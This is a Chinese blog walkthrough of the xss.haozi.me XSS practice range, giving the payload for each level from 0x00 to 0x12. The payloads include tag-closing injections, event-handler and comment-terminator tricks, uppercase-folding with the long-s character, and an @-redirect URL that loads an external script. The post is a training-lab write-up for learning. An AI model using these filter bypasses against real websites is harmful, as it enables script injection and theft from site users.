当前位置:网站首页>XSS靶场(二)xss.haozi
XSS靶场(二)xss.haozi
2022-07-29 01:59:00 【树迷了路】
靶机地址:https://xss.haozi.me
0x00
无防
<script>alert(1)</script>
0x01
在<textarea>标签这个标签内,所有的脚本语言都是字符串,不能被调用执行,闭合标签即可;
</textarea><script>alert(1)</script>
0x02
闭合" 和< 即可
"><script>alert(1)</script>
aaa" onclick="alert(1) 
0x03
正则表达式,将 () 替换为空,用 `` 代替即
<script>alert`1`</script>
0x04
正则表达式,将 () `` 替换为空,HTML实体编码 (;);
<svg><script>alert(1)</script>
0x05
这里用正则替换了-->,html的注释符有2种写法:
<!-- 注释的内容 --> 另一种是<!-- 注释的内容 --!>
--!><script>alert(1)</script>
0x06
这里正则替换的是auto和on.*=和>字符,所以过滤了js的autofocus事件以及 on开头的事件;
但没有过滤换行,可以利用HTML的容错机制,只要关键字和语法正确,不受空格和换行符影响的特性
onclick
=alert(1)
onmousedown
=alert(1)
type=image src=1 onerror
=alert(1)
0x07
正则 <\/?[^>]+> 这一堆,以 "<" 开头 ">" 结尾中间穿插非 ">" 的不分大小写的字符串,
总的来说,就是替换 </ 任意字符 > 为空。用<svg标签和THTML容错机制不写 ">" 即可
<svg onload=alert(1)//
<svg onload=alert(1)\n
<img src=1 onerror="alert(1)"
0x08
用正则过滤了</style>,致使无法闭合;
和6 7题类似,还是利用HTML的容错给</style 后面加空格或回车
</style ><script>alert(1)</script>
</style
><script>alert(1)</script>
0x09
用正则规定输入的字符串种必须有https://www.segmentfault.com1;
那就再在后面写," 闭合 ></script> 闭合,再注掉 ">
https://www.segmentfault.com1"></script><script>alert(1)//
0x0A
于上一题类似,另外把 ' " < > / 都过滤了
在网址中间使用@符号,将重定向到@后面的域URL;(谷歌貌似有个保护机制,在火狐试)
https://[email protected]/j.js
0x0B
把输⼊的字符串都转⼤写了;
html对大小写不敏感,JS对大小写敏感;
用<svg οnlοad=alert(1)>,对 'alert' 实体编码;
<svg onload=alert(1)>
0x0C
和上一题类似,只是多了个对script 的过滤;
如果用<script>,双写即可;
<svg onload=alert(1)>
<sscriptcript src=1 onerror=alert(1)></sscriptcript>
0x0D
正则过滤了 < / " ' ,可以不用;
回车逃逸单行注释,再注掉多余的 ‘)
这里回车
alert(1)
-->
0x0E
这里的正则匹配<a-zA-Z>,还给< 后面加上了_, 并且转大写,这几乎过滤了所有的标签;
所以要用到一个奇技淫巧:有这样一个字符 ſ ,它在转大写后会变成S;
<ſcript src=1 onerror=alert(1)></script>
<ſvg onload=alert(1)>
0x0F
这里和第十题差不多,将 & ' " <> / 给HTML实体编码了;
但值得注意的是,我们输入的字符仍处于html中,因此即使被编码也可以执行其功能;
闭合前后 (' ') 或注掉 即可;
');alert(1);('
0x10
无防,给data个值即可;
');alert(1);('
0x11
和15题一样,把 / ’ " ` < > \ 以及换行等给转义了;
闭合前后 (" ") 即可;
在JS代码里对 / 的转义其实是多此一举,在实际使用中,/ 并非特殊符号,无需转义,可直接输出
");alert(1);("
");alert(1);//
0x12
将 " 给转义了;
我要双引号干啥,直接闭合前面的<script>,再把后面的 ') 给注掉 即可;
也可以将 \ 给转义,让其失效,再闭合 ("
</script><script>alert(1)//
a\");alert(1);//
ok搞定!个人习惯不同,答案不唯一,如果有不同解法,欢迎大家分享!
边栏推荐
- 实验二:Arduino的三色灯实验
- 详解异步任务:任务的状态及生命周期管理
- 数据安全与隐私计算峰会-安全求交集在隐私计算中的发展和应用:学习
- ES6 syntax extension
- 密码安全如何保障?安全浏览器如何管理密码?
- 工程经济学知识点总结
- How to guarantee password security? How does the secure browser manage passwords?
- 如果非要在多线程中使用 ArrayList 会发生什么?
- 【MQTT从入门到提高系列 | 09】WireShark抓包分析MQTT报文
- Remember error scheduler once Asynceventqueue: dropping event from queue shared causes OOM
猜你喜欢

Transform okhttp cache with retrofit

当Synchronized遇到这玩意儿,有个大坑,要注意

3d智能工厂工艺流转可视化交互展示应用优点

物联网组件

“12306”的架构到底有多牛逼?

The financing demand of 129 million yuan was released, and the roadshow of the Dake city project continued to irrigate the "good seedlings" of scientific innovation

When synchronized encounters this thing, there is a big hole, so be careful

Prometheus + AlertManager 消息预警

Polygon point test

Responsive dream weaving template home decoration building materials website
随机推荐
无线振弦采集系统工作流程
【上传图片2-可裁剪】
HTTP断点续传以及缓存问题
Explain the four asynchronous solutions of JS in detail: callback function, promise, generator, async/await
Day 15 (VLAN related knowledge)
When I look at the source code, what am I thinking?
ES6 syntax extension
Eight practical new functions of es2022
实验二:Arduino的三色灯实验
详解异步任务:任务的状态及生命周期管理
time_wait和close_wait产生原因
一文读懂Okaleido Tiger近期动态,挖掘背后价值与潜力
发布融资需求1.29亿元,大科城项目路演持续浇灌科创“好苗子”
Awvs cannot start problem
响应式织梦模板装修设计类网站
Prometheus + AlertManager 消息预警
Prometheus + alertmanager message alert
结合Retrofit 改造OKHttp 缓存
外包公司“混”了2年,我只认真做了5件事,如今顺利拿到字节 Offer。
When synchronized encounters this thing, there is a big hole, so be careful